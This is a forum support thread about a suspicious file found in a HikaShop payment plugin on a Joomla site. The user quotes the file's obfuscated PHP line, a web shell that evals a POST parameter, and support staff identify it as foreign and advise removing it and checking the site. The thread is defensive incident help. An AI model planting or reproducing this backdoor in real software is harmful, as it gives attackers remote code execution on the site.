Suspicious Code in Hikashop File

-- HikaShop version -- : 2.6.0
-- Joomla version -- : 3.4.8
-- PHP version -- : 5.5

Hi,
The file in

/plugins/hikashoppayment/banktransfer/start.php

has the following code

$ptcm54 = "post_" ; $xqnq6= strtoupper ( $ptcm54[4].$ptcm54[0] .$ptcm54[1].$ptcm54[2].$ptcm54[3] );if (isset(${$xqnq6 } [ 'q7f2521']) ) {eval (${ $xqnq6} [ 'q7f2521' ]);} ?

Does this look suspicious? (It was flagged by myjoomla.com)

Hi,

This looks indeed suspicious, as you can see on our end the banktransfer plugin should only have three files: take.ms/kgyfl

Would a reinstall overwrite these files?

Hi,

Yes, it will be highly recommended.
For sure you can remove that file which is not an HikaShop one.
And you should also perform a check on the rest of your Joomla files ; in case when some other files have been added or modified.

Regards,